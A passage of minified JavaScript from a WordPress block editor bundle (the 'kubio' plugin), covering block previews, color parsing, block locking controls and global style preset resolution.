m=Object(s.sprintf)(// translators: %s: the name of the block that has been added
Object(s.__)("%s block added","kubio"),i.title);Object(a.speak)(m)}}})),Object(b.ifCondition)((e=>{let{hasItems:t,isAppender:n,rootClientId:o,clientId:r}=e;return t||!n&&!o&&!r}))])(C)},function(e,t,n){"use strict";n.d(t,"b",(function(){return _}));var o=n(0),r=n(13),l=n.n(r),c=n(11),i=n(7),a=n(48),s=n.n(a),u=n(146),d=n(8),b=n(3),p=n(70),m=n(243),f=n(229),g=n(116),h=n(14);let v;const O=2e3;function k(e){let{viewportWidth:t,containerWidth:n,minHeight:r,additionalStyles:l=[]}=e;t||(t=n);const[a,{height:s}]=Object(c.useResizeObserver)(),{styles:u,duotone:d}=Object(i.useSelect)((e=>{var t,n;const o=e(h.a).getSettings();return{styles:o.styles,duotone:null===(t=o.__experimentalFeatures)||void 0===t||null===(n=t.color)||void 0===n?void 0:n.duotone}}),[]),k=Object(o.useMemo)((()=>u?[...u,{css:"body{height:auto;overflow:hidden;border:none;padding:0;}",__unstableType:"presets"},...l]:u),[u,l]),j=Object(o.useMemo)((()=>{var e,t;return[...null!==(e=null==d?void 0:d.default)&&void 0!==e?e:[],...null!==(t=null==d?void 0:d.theme)&&void 0!==t?t:[]]}),[d]);v=v||Object(c.pure)(p.c);const _=n/t;return Object(o.createElement)(b.Disabled,{className:"block-editor-block-preview__content",style:{transform:`scale(${_})`,height:s*_,maxHeight:s>O?O*_:void 0,minHeight:r}},Object(o.createElement)(m.a,{head:Object(o.createElement)(f.a,{styles:k}),contentRef:Object(c.useRefEffect)((e=>{const{ownerDocument:{documentElement:t}}=e;t.classList.add("block-editor-block-preview__content-iframe"),t.style.position="absolute",t.style.width="100%",e.style.boxSizing="border-box",e.style.position="absolute",e.style.width="100%"}),[]),"aria-hidden":!0,tabIndex:-1,style:{position:"absolute",width:t,height:s,pointerEvents:"none",maxHeight:O,minHeight:0!==_&&_<1&&r?r/_:r}},a,j.map((e=>Object(o.createElement)(g.e,{preset:e,key:e.slug}))),Object(o.createElement)(v,{renderAppender:!1})))}function j(e){const[t,{width:n}]=Object(c.useResizeObserver)();return Object(o.createElement)(o.Fragment,null,Object(o.createElement)("div",{style:{position:"relative",width:"100%",height:0}},t),Object(o.createElement)("div",{className:"block-editor-block-preview__container"},!!n&&Object(o.createElement)(k,Object(d.a)({},e,{containerWidth:n}))))}function _(e){let{blocks:t,props:n={},__experimentalLayout:r}=e;const a=Object(i.useSelect)((e=>e(h.a).getSettings()),[]),s=Object(o.useMemo)((()=>({...a,__unstableIsPreviewMode:!0})),[a]),d=Object(c.useDisabled)(),b=Object(c.useMergeRefs)([n.ref,d]),m=Object(o.useMemo)((()=>Array.isArray(t)?t:[t]),[t]),f=Object(o.createElement)(u.a,{value:m,settings:s},Object(o.createElement)(p.a,{renderAppender:!1,__experimentalLayout:r}));return{...n,ref:b,className:l()(n.className,"block-editor-block-preview__live-content","components-disabled"),children:null!=t&&t.length?f:null}}t.a=Object(o.memo)((function(e){let{blocks:t,viewportWidth:n=1200,minHeight:r,additionalStyles:l=[],__experimentalMinHeight:c,__experimentalPadding:a}=e;c&&(r=c,s()("The __experimentalMinHeight prop",{since:"6.2",version:"6.4",alternative:"minHeight"})),a&&(l=[...l,{css:`body { padding: ${a}px; }`}],s()("The __experimentalPadding prop of BlockPreview",{since:"6.2",version:"6.4",alternative:"additionalStyles"}));const d=Object(i.useSelect)((e=>e(h.a).getSettings()),[]),b=Object(o.useMemo)((()=>({...d,__unstableIsPreviewMode:!0})),[d]),p=Object(o.useMemo)((()=>Array.isArray(t)?t:[t]),[t]);return t&&0!==t.length?Object(o.createElement)(u.a,{value:p,settings:b},Object(o.createElement)(j,{viewportWidth:n,minHeight:r,additionalStyles:l})):null}))},function(e,t,n){"use strict";n.d(t,"a",(function(){return B})),n.d(t,"b",(function(){return x}));var o={grad:.9,turn:360,rad:360/(2*Math.PI)},r=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},l=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0},c=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),e>n?n:e>t?e:t},i=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},a=function(e){return{r:c(e.r,0,255),g:c(e.g,0,255),b:c(e.b,0,255),a:c(e.a)}},s=function(e){return{r:l(e.r),g:l(e.g),b:l(e.b),a:l(e.a,3)}},u=/^#([0-9a-f]{3,8})$/i,d=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},b=function(e){var t=e.r,n=e.g,o=e.b,r=e.a,l=Math.max(t,n,o),c=l-Math.min(t,n,o),i=c?l===t?(n-o)/c:l===n?2+(o-t)/c:4+(t-n)/c:0;return{h:60*(i<0?i+6:i),s:l?c/l*100:0,v:l/255*100,a:r}},p=function(e){var t=e.h,n=e.s,o=e.v,r=e.a;t=t/360*6,n/=100,o/=100;var l=Math.floor(t),c=o*(1-n),i=o*(1-(t-l)*n),a=o*(1-(1-t+l)*n),s=l%6;return{r:255*[o,i,c,c,a,o][s],g:255*[a,o,o,i,c,c][s],b:255*[c,c,a,o,o,i][s],a:r}},m=function(e){return{h:i(e.h),s:c(e.s,0,100),l:c(e.l,0,100),a:c(e.a)}},f=function(e){return{h:l(e.h),s:l(e.s),l:l(e.l),a:l(e.a,3)}},g=function(e){return p((n=(t=e).s,{h:t.h,s:(n*=((o=t.l)<50?o:100-o)/100)>0?2*n/(o+n)*100:0,v:o+n,a:t.a}));var t,n,o},h=function(e){return{h:(t=b(e)).h,s:(r=(200-(n=t.s))*(o=t.v)/100)>0&&r<200?n*o/100/(r<=100?r:200-r)*100:0,l:r/2,a:t.a};var t,n,o,r},v=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,O=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,k=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,j=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,_={string:[[function(e){var t=u.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?l(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?l(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=k.exec(e)||j.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=v.exec(e)||O.exec(e);if(!t)return null;var n,r,l=m({h:(n=t[1],r=t[2],void 0===r&&(r="deg"),Number(n)*(o[r]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return g(l)},"hsl"]],object:[[function(e){var t=e.r,n=e.g,o=e.b,l=e.a,c=void 0===l?1:l;return r(t)&&r(n)&&r(o)?a({r:Number(t),g:Number(n),b:Number(o),a:Number(c)}):null},"rgb"],[function(e){var t=e.h,n=e.s,o=e.l,l=e.a,c=void 0===l?1:l;if(!r(t)||!r(n)||!r(o))return null;var i=m({h:Number(t),s:Number(n),l:Number(o),a:Number(c)});return g(i)},"hsl"],[function(e){var t=e.h,n=e.s,o=e.v,l=e.a,a=void 0===l?1:l;if(!r(t)||!r(n)||!r(o))return null;var s=function(e){return{h:i(e.h),s:c(e.s,0,100),v:c(e.v,0,100),a:c(e.a)}}({h:Number(t),s:Number(n),v:Number(o),a:Number(a)});return p(s)},"hsv"]]},y=function(e,t){for(var n=0;n<t.length;n++){var o=t[n][0](e);if(o)return[o,t[n][1]]}return[null,void 0]},E=function(e,t){var n=h(e);return{h:n.h,s:c(n.s+100*t,0,100),l:n.l,a:n.a}},S=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},C=function(e,t){var n=h(e);return{h:n.h,s:n.s,l:c(n.l+100*t,0,100),a:n.a}},w=function(){function e(e){this.parsed=function(e){return"string"==typeof e?y(e.trim(),_.string):"object"==typeof e&&null!==e?y(e,_.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return l(S(this.rgba),2)},e.prototype.isDark=function(){return S(this.rgba)<.5},e.prototype.isLight=function(){return S(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=s(this.rgba)).r,n=e.g,o=e.b,c=(r=e.a)<1?d(l(255*r)):"","#"+d(t)+d(n)+d(o)+c;var e,t,n,o,r,c},e.prototype.toRgb=function(){return s(this.rgba)},e.prototype.toRgbString=function(){return t=(e=s(this.rgba)).r,n=e.g,o=e.b,(r=e.a)<1?"rgba("+t+", "+n+", "+o+", "+r+")":"rgb("+t+", "+n+", "+o+")";var e,t,n,o,r},e.prototype.toHsl=function(){return f(h(this.rgba))},e.prototype.toHslString=function(){return t=(e=f(h(this.rgba))).h,n=e.s,o=e.l,(r=e.a)<1?"hsla("+t+", "+n+"%, "+o+"%, "+r+")":"hsl("+t+", "+n+"%, "+o+"%)";var e,t,n,o,r},e.prototype.toHsv=function(){return e=b(this.rgba),{h:l(e.h),s:l(e.s),v:l(e.v),a:l(e.a,3)};var e},e.prototype.invert=function(){return B({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),B(E(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),B(E(this.rgba,-e))},e.prototype.grayscale=function(){return B(E(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),B(C(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),B(C(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?B({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):l(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=h(this.rgba);return"number"==typeof e?B({h:e,s:t.s,l:t.l,a:t.a}):l(t.h)},e.prototype.isEqual=function(e){return this.toHex()===B(e).toHex()},e}(),B=function(e){return e instanceof w?e:new w(e)},I=[],x=function(e){e.forEach((function(e){I.indexOf(e)<0&&(e(w,_),I.push(e))}))}},,function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var o=n(7),r=n(12),l=n(61),c=n(14);function i(e){let{clientId:t,maximumLength:n,context:i}=e;const{attributes:a,name:s,reusableBlockTitle:u}=Object(o.useSelect)((e=>{if(!t)return{};const{getBlockName:n,getBlockAttributes:o,__experimentalGetReusableBlockTitle:l}=e(c.a),i=n(t);if(!i)return{};const a=Object(r.isReusableBlock)(Object(r.getBlockType)(i));return{attributes:o(t),name:i,reusableBlockTitle:a&&l(o(t).ref)}}),[t]),d=Object(l.a)(t);if(!s||!d)return null;const b=Object(r.getBlockType)(s),p=b?Object(r.__experimentalGetBlockLabel)(b,a,i):null,m=u||p,f=m&&m!==b.title?m:d.title;if(n&&n>0&&f.length>n){const e="...";return f.slice(0,n-e.length)+e}return f}},function(e,t,n){"use strict";n.d(t,"a",(function(){return O})),n.d(t,"b",(function(){return k})),n.d(t,"c",(function(){return d}));var o=n(0),r=n(1),l=n(3),c=n(5),i=Object(o.createElement)(c.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(c.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8h1.5c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1z"})),a=Object(o.createElement)(c.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(c.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zM9.8 7c0-1.2 1-2.2 2.2-2.2 1.2 0 2.2 1 2.2 2.2v3H9.8V7zm6.7 11.5h-9v-7h9v7z"})),s=n(7),u=n(14);function d(e){return Object(s.useSelect)((t=>{const{canEditBlock:n,canMoveBlock:o,canRemoveBlock:r,canLockBlockType:l,getBlockName:c,getBlockRootClientId:i,getTemplateLock:a}=t(u.a),s=i(e),d=n(e),b=o(e,s),p=r(e,s);return{canEdit:d,canMove:b,canRemove:p,canLock:l(c(e)),isContentLocked:"contentOnly"===a(e),isLocked:!d||!b||!p}}),[e])}var b=Object(o.createElement)(c.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(c.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z"})),p=n(11),m=n(12),f=n(61);const g=["core/block","core/navigation"];function h(e){return e.remove&&e.move?"all":!(!e.remove||e.move)&&"insert"}function v(e){let{clientId:t,onClose:n}=e;const[c,a]=Object(o.useState)({move:!1,remove:!1}),{canEdit:O,canMove:k,canRemove:j}=d(t),{allowsEditLocking:_,templateLock:y,hasTemplateLock:E}=Object(s.useSelect)((e=>{var n,o;const{getBlockName:r,getBlockAttributes:l}=e(u.a),c=r(t),i=Object(m.getBlockType)(c);return{allowsEditLocking:g.includes(c),templateLock:null===(n=l(t))||void 0===n?void 0:n.templateLock,hasTemplateLock:!(null==i||null===(o=i.attributes)||void 0===o||!o.templateLock)}}),[t]),[S,C]=Object(o.useState)(!!y),{updateBlockAttributes:w}=Object(s.useDispatch)(u.a),B=Object(f.a)(t),I=Object(p.useInstanceId)(v,"block-editor-block-lock-modal__options-title");Object(o.useEffect)((()=>{a({move:!k,remove:!j,..._?{edit:!O}:{}})}),[O,k,j,_]);const x=Object.values(c).every(Boolean),T=Object.values(c).some(Boolean)&&!x;return Object(o.createElement)(l.Modal,{title:Object(r.sprintf)(/* translators: %s: Name of the block. */Object(r.__)("Lock %s","kubio"),B.title),overlayClassName:"block-editor-block-lock-modal",onRequestClose:n},Object(o.createElement)("p",null,Object(r.__)("Choose specific attributes to restrict or lock all available options.","kubio")),Object(o.createElement)("form",{onSubmit:e=>{e.preventDefault(),w([t],{lock:c,templateLock:S?h(c):void 0}),n()}},Object(o.createElement)("div",{role:"group","aria-labelledby":I,className:"block-editor-block-lock-modal__options"},Object(o.createElement)(l.CheckboxControl,{__nextHasNoMarginBottom:!0,className:"block-editor-block-lock-modal__options-title",label:Object(o.createElement)("span",{id:I},Object(r.__)("Lock all","kubio")),checked:x,indeterminate:T,onChange:e=>a({move:e,remove:e,..._?{edit:e}:{}})}),Object(o.createElement)("ul",{className:"block-editor-block-lock-modal__checklist"},_&&Object(o.createElement)("li",{className:"block-editor-block-lock-modal__checklist-item"},Object(o.createElement)(l.CheckboxControl,{__nextHasNoMarginBottom:!0,label:Object(r.__)("Restrict editing","kubio"),checked:!!c.edit,onChange:e=>a((t=>({...t,edit:e})))}),Object(o.createElement)(l.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:c.edit?b:i})),Object(o.createElement)("li",{className:"block-editor-block-lock-modal__checklist-item"},Object(o.createElement)(l.CheckboxControl,{__nextHasNoMarginBottom:!0,label:Object(r.__)("Disable movement","kubio"),checked:c.move,onChange:e=>a((t=>({...t,move:e})))}),Object(o.createElement)(l.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:c.move?b:i})),Object(o.createElement)("li",{className:"block-editor-block-lock-modal__checklist-item"},Object(o.createElement)(l.CheckboxControl,{__nextHasNoMarginBottom:!0,label:Object(r.__)("Prevent removal","kubio"),checked:c.remove,onChange:e=>a((t=>({...t,remove:e})))}),Object(o.createElement)(l.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:c.remove?b:i}))),E&&Object(o.createElement)(l.ToggleControl,{className:"block-editor-block-lock-modal__template-lock",label:Object(r.__)("Apply to all blocks inside","kubio"),checked:S,disabled:c.move&&!c.remove,onChange:()=>C(!S)})),Object(o.createElement)(l.Flex,{className:"block-editor-block-lock-modal__actions",justify:"flex-end",expanded:!1},Object(o.createElement)(l.FlexItem,null,Object(o.createElement)(l.Button,{variant:"tertiary",onClick:n},Object(r.__)("Cancel","kubio"))),Object(o.createElement)(l.FlexItem,null,Object(o.createElement)(l.Button,{variant:"primary",type:"submit"},Object(r.__)("Apply","kubio"))))))}function O(e){let{clientId:t}=e;const{canLock:n,isLocked:c}=d(t),[s,u]=Object(o.useReducer)((e=>!e),!1);if(!n)return null;const b=c?Object(r.__)("Unlock","kubio"):Object(r.__)("Lock","kubio");return Object(o.createElement)(o.Fragment,null,Object(o.createElement)(l.MenuItem,{icon:c?i:a,onClick:u},b),s&&Object(o.createElement)(v,{clientId:t,onClose:u}))}function k(e){let{clientId:t}=e;const n=Object(f.a)(t),{canEdit:c,canMove:i,canRemove:a,canLock:s}=d(t),[u,p]=Object(o.useReducer)((e=>!e),!1);return s?c&&i&&a?null:Object(o.createElement)(o.Fragment,null,Object(o.createElement)(l.ToolbarGroup,{className:"block-editor-block-lock-toolbar"},Object(o.createElement)(l.ToolbarButton,{icon:b,label:Object(r.sprintf)(/* translators: %s: block name */Object(r.__)("Unlock %s","kubio"),n.title),onClick:p})),u&&Object(o.createElement)(v,{clientId:t,onClose:p})):null}},function(e,t,n){"use strict";n.d(t,"a",(function(){return h}));var o=n(8),r=n(0),l=n(2),c=n(3),i=n(12),a=n(7),s={default:Object(c.createSlotFill)("BlockControls"),block:Object(c.createSlotFill)("BlockControlsBlock"),inline:Object(c.createSlotFill)("BlockFormatControls"),other:Object(c.createSlotFill)("BlockControlsOther"),parent:Object(c.createSlotFill)("BlockControlsParent")},u=n(14),d=n(68),b=n(171);function p(e){let{group:t="default",controls:n,children:o,__experimentalShareWithChildBlocks:p=!1}=e;const m=function(e,t){const n=Object(b.a)(),{clientId:o}=Object(d.c)(),r=Object(a.useSelect)((e=>{const{getBlockName:n,hasSelectedInnerBlock:r}=e(u.a),{hasBlockSupport:l}=e(i.store);return t&&l(n(o),"__experimentalExposeControlsToChildren",!1)&&r(o)}),[t,o]);var l;return n?null===(l=s[e])||void 0===l?void 0:l.Fill:r?s.parent.Fill:null}(t,p);return m?Object(r.createElement)(c.__experimentalStyleProvider,{document:document},Object(r.createElement)(m,null,(e=>{const i=Object(l.isEmpty)(e)?null:e;return Object(r.createElement)(c.__experimentalToolbarContext.Provider,{value:i},"default"===t&&Object(r.createElement)(c.ToolbarGroup,{controls:n}),o)}))):null}var m=n(130);function f(e){let{group:t="default",...n}=e;const l=Object(r.useContext)(c.__experimentalToolbarContext),i=s[t].Slot;return Object(m.a)(i.__unstableName)?"default"===t?Object(r.createElement)(i,Object(o.a)({},n,{bubblesVirtually:!0,fillProps:l})):Object(r.createElement)(c.ToolbarGroup,null,Object(r.createElement)(i,Object(o.a)({},n,{bubblesVirtually:!0,fillProps:l}))):null}const g=p;g.Slot=f;const h=e=>Object(r.createElement)(p,Object(o.a)({group:"inline"},e));h.Slot=e=>Object(r.createElement)(f,Object(o.a)({group:"inline"},e)),t.b=g},function(e,t,n){"use strict";n.d(t,"c",(function(){return De})),n.d(t,"a",(function(){return Fe})),n.d(t,"b",(function(){return ze}));var o={};n.r(o),n.d(o,"useGlobalStylesReset",(function(){return h})),n.d(o,"useGlobalSetting",(function(){return v})),n.d(o,"useGlobalStyle",(function(){return O})),n.d(o,"useGlobalStylesOutput",(function(){return L})),n.d(o,"GlobalStylesContext",(function(){return f}));var r=n(2),l=n(199),c=n.n(l),i=n(0),a=n(160);function s(e,t){var n,o;const{size:r}=e;if(!r||"0"===r)return r;if(null==t||!t.fluid||"object"==typeof(null==t?void 0:t.fluid)&&0===Object.keys(t.fluid).length)return r;if(!1===(null==e?void 0:e.fluid))return r;const l="object"==typeof(null==t?void 0:t.fluid)?null==t?void 0:t.fluid:{};return Object(a.a)({minimumFontSize:null==e||null===(n=e.fluid)||void 0===n?void 0:n.min,maximumFontSize:null==e||null===(o=e.fluid)||void 0===o?void 0:o.max,fontSize:r,minimumFontSizeLimit:null==l?void 0:l.minFontSize})||r}const u="body",d=[{path:["color","palette"],valueKey:"color",cssVarInfix:"color",classes:[{classSuffix:"color",propertyName:"color"},{classSuffix:"background-color",propertyName:"background-color"},{classSuffix:"border-color",propertyName:"border-color"}]},{path:["color","gradients"],valueKey:"gradient",cssVarInfix:"gradient",classes:[{classSuffix:"gradient-background",propertyName:"background"}]},{path:["color","duotone"],cssVarInfix:"duotone",valueFunc:e=>{let{slug:t}=e;return`url( '#wp-duotone-${t}' )`},classes:[]},{path:["shadow","presets"],valueKey:"shadow",cssVarInfix:"shadow",classes:[]},{path:["typography","fontSizes"],valueFunc:(e,t)=>{let{typography:n}=t;return s(e,n)},valueKey:"size",cssVarInfix:"font-size",classes:[{classSuffix:"font-size",propertyName:"font-size"}]},{path:["typography","fontFamilies"],valueKey:"fontFamily",cssVarInfix:"font-family",classes:[{classSuffix:"font-family",propertyName:"font-family"}]},{path:["spacing","spacingSizes"],valueKey:"size",cssVarInfix:"spacing",valueFunc:e=>{let{size:t}=e;return t},classes:[]}],b={"color.background":"color","color.text":"color","elements.link.color.text":"color","elements.link.:hover.color.text":"color","elements.link.typography.fontFamily":"font-family","elements.link.typography.fontSize":"font-size","elements.button.color.text":"color","elements.button.color.background":"color","elements.button.typography.fontFamily":"font-family","elements.button.typography.fontSize":"font-size","elements.heading.color":"color","elements.heading.color.background":"color","elements.heading.typography.fontFamily":"font-family","elements.heading.gradient":"gradient","elements.heading.color.gradient":"gradient","elements.h1.color":"color","elements.h1.color.background":"color","elements.h1.typography.fontFamily":"font-family","elements.h1.color.gradient":"gradient","elements.h2.color":"color","elements.h2.color.background":"color","elements.h2.typography.fontFamily":"font-family","elements.h2.color.gradient":"gradient","elements.h3.color":"color","elements.h3.color.background":"color","elements.h3.typography.fontFamily":"font-family","elements.h3.color.gradient":"gradient","elements.h4.color":"color","elements.h4.color.background":"color","elements.h4.typography.fontFamily":"font-family","elements.h4.color.gradient":"gradient","elements.h5.color":"color","elements.h5.color.background":"color","elements.h5.typography.fontFamily":"font-family","elements.h5.color.gradient":"gradient","elements.h6.color":"color","elements.h6.color.background":"color","elements.h6.typography.fontFamily":"font-family","elements.h6.color.gradient":"gradient","color.gradient":"gradient",shadow:"shadow","typography.fontSize":"font-size","typography.fontFamily":"font-family"};function p(e,t,n,o,l){const c=[Object(r.get)(e,["blocks",t,...n]),Object(r.get)(e,n)];for(const r of c)if(r){const c=["custom","theme","default"];for(const i of c){const c=r[i];if(c){const r=c.find((e=>e[o]===l));if(r)return"slug"===o||p(e,t,n,"slug",r.slug)[o]===r[o]?r:void 0}}}}function m(e,t,n){if(!n||"string"!=typeof n){var o,l;if(null===(o=n)||void 0===o||!o.ref||"string"!=typeof(null===(l=n)||void 0===l?void 0:l.ref))return n;{var c;const t=n.ref.split(".");if(!(n=Object(r.get)(e,t))||null!==(c=n)&&void 0!==c&&c.ref)return n}}const i="var:",a="var(--wp--";let s;if(n.startsWith(i))s=n.slice(i.length).split("|");else{if(!n.startsWith(a)||!n.endsWith(")"))return n;s=n.slice(a.length,-")".length).split("--")}const[u,...b]=s;return"preset"===u?function(e,t,n,o){let[r,l]=o;const c=d.find((e=>e.cssVarInfix===r));if(!c)return n;const i=p(e.settings,t,c.path,"slug",l);if(i){const{valueKey:n}=c;return m(e,t,i[n])}return n}(e,t,n,b):"custom"===u?function(e,t,n,o){var l;const c=null!==(l=Object(r.get)(e.settings,["blocks",t,"custom",...o]))&&void 0!==l?l:Object(r.get)(e.settings,["custom",...o]);return c?m(e,t,c):n}(e,t,n,b):n}const f=Object(i.createContext)({user:{},base:{},merged:{},setUserConfig:()=>{}}),g={settings:{},styles:{}},h=()=>{const{user:e,setUserConfig:t}=Object(i.useContext)(f);return[!!e&&!c()(e,g),Object(i.useCallback)((()=>t((()=>g))),[t])]};function v(e,t){var n;let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"all";const{merged:l,base:c,user:a,setUserConfig:s}=Object(i.useContext)(f),u=t?`settings.blocks.${t}.${e}`:`settings.${e}`,d=t=>{const n=t?`settings.blocks.${t}.${e}`:`settings.${e}`;let i;switch(o){case"all":i=Object(r.get)(l,n);break;case"user":i=Object(r.get)(a,n);break;case"base":i=Object(r.get)(c,n);break;default:throw"Unsupported source"}return i};return[null!==(n=d(t))&&void 0!==n?n:d(),e=>{s((t=>{const n=JSON.parse(JSON.stringify(t));return Object(r.set)(n,u,e),n}))}]}function O(e,t){var n;let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"all";const{merged:l,base:c,user:a,setUserConfig:s}=Object(i.useContext)(f),u=t?`styles.blocks.${t}.${e}`:`styles.${e}`;let g;switch(o){case"all":g=m(l,t,"styles.css"===u?Object(r.get)(a,u):null!==(n=Object(r.get)(a,u))&&void 0!==n?n:Object(r.get)(c,u));break;case"user":g=m(l,t,Object(r.get)(a,u));break;case"base":g=m(c,t,Object(r.get)(c,u));break;default:throw"Unsupported source"}return[g,n=>{s((o=>{const c=JSON.parse(JSON.stringify(o));return Object(r.set)(c,u,function(e,t,n,o){if(!o)return o;const r=b[n],l=d.find((e=>e.cssVarInfix===r));if(!l)return o;const{valueKey:c,path:i}=l,a=p(e,t,i,c,o);return a?`var:preset|${r}|${a.slug}`:o}(l.settings,t,e,n)),c}))}]}var k=n(12),j=n(7),_=n(151),y=n(139),E=n(67),S=n(14);const C={__experimentalBorder:"border",color:"color",spacing:"spacing",typography:"typography"};function w(e){var t;const n="var:";return null!=e&&null!==(t=e.startsWith)&&void 0!==t&&t.call(e,n)?`var(--wp--${e.slice(n.length).split("|").join("--")})`:e}function B(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0,n=arguments.length>2?arguments[2]:void 0,o=[];return Object.keys(e).forEach((l=>{const c=t+Object(r.kebabCase)(l.replace("/","-")),i=e[l];if(i instanceof Object){const e=c+n;o=[...o,...B(i,e,n)]}else o.push(`${c}: ${i}`)})),o}function I(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>2?arguments[2]:void 0,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};const o=u===(arguments.length>1&&void 0!==arguments[1]?arguments[1]:""),l=Object.entries(k.__EXPERIMENTAL_STYLE_PROPERTY).reduce(((n,l)=>{let[c,{value:i,properties:a,useEngine:s,rootOnly:u}]=l;if(u&&!o)return n;const d=i;if("elements"===d[0]||s)return n;const b=Object(r.get)(e,d);if("--wp--style--root--padding"===c&&("string"==typeof b||!t))return n;if(a&&"string"!=typeof b)Object.entries(a).forEach((e=>{const[t,o]=e;if(!Object(r.get)(b,[o],!1))return;const l=t.startsWith("--")?t:Object(r.kebabCase)(t);n.push(`${l}: ${w(Object(r.get)(b,[o]))}`)}));else if(Object(r.get)(e,d,!1)){const t=c.startsWith("--")?c:Object(r.kebabCase)(c);n.push(`${t}: ${w(Object(r.get)(e,d))}`)}return n}),[]);return Object(_.b)(e).forEach((e=>{var c;if(o&&t&&e.key.startsWith("padding"))return;const i=e.key.startsWith("--")?e.key:Object(r.kebabCase)(e.key);let a=e.value;if("string"!=typeof a&&null!==(c=a)&&void 0!==c&&c.ref){var u;const e=a.ref.split(".");if(a=Object(r.get)(n,e),!a||null!==(u=a)&&void 0!==u&&u.ref)return}var d;"font-size"===i&&(a=s({size:a},null==n||null===(d=n.settings)||void 0===d?void 0:d.typography)),l.push(`${i}: ${a}`)})),l}const x=(e,t)=>{var n,o,l;const c=[];if(null==e||!e.settings)return c;const i=e=>{const t={};return d.forEach((n=>{let{path:o}=n;const l=Object(r.get)(e,o,!1);!1!==l&&Object(r.set)(t,o,l)})),t},a=i(e.settings),s=null===(n=e.settings)||void 0===n?void 0:n.custom;return Object(r.isEmpty)(a)&&!s||c.push({presets:a,custom:s,selector:u}),Object.entries(null!==(o=null===(l=e.settings)||void 0===l?void 0:l.blocks)&&void 0!==o?o:{}).forEach((e=>{let[n,o]=e;const l=i(o),a=o.custom;Object(r.isEmpty)(l)&&!a||c.push({presets:l,custom:a,selector:t[n].selector})})),c},T=(e,t)=>{const n=x(e,t);let o="";return n.forEach((t=>{let{presets:n,custom:l,selector:c}=t;const i=function(){let e=arguments.length>0&&void 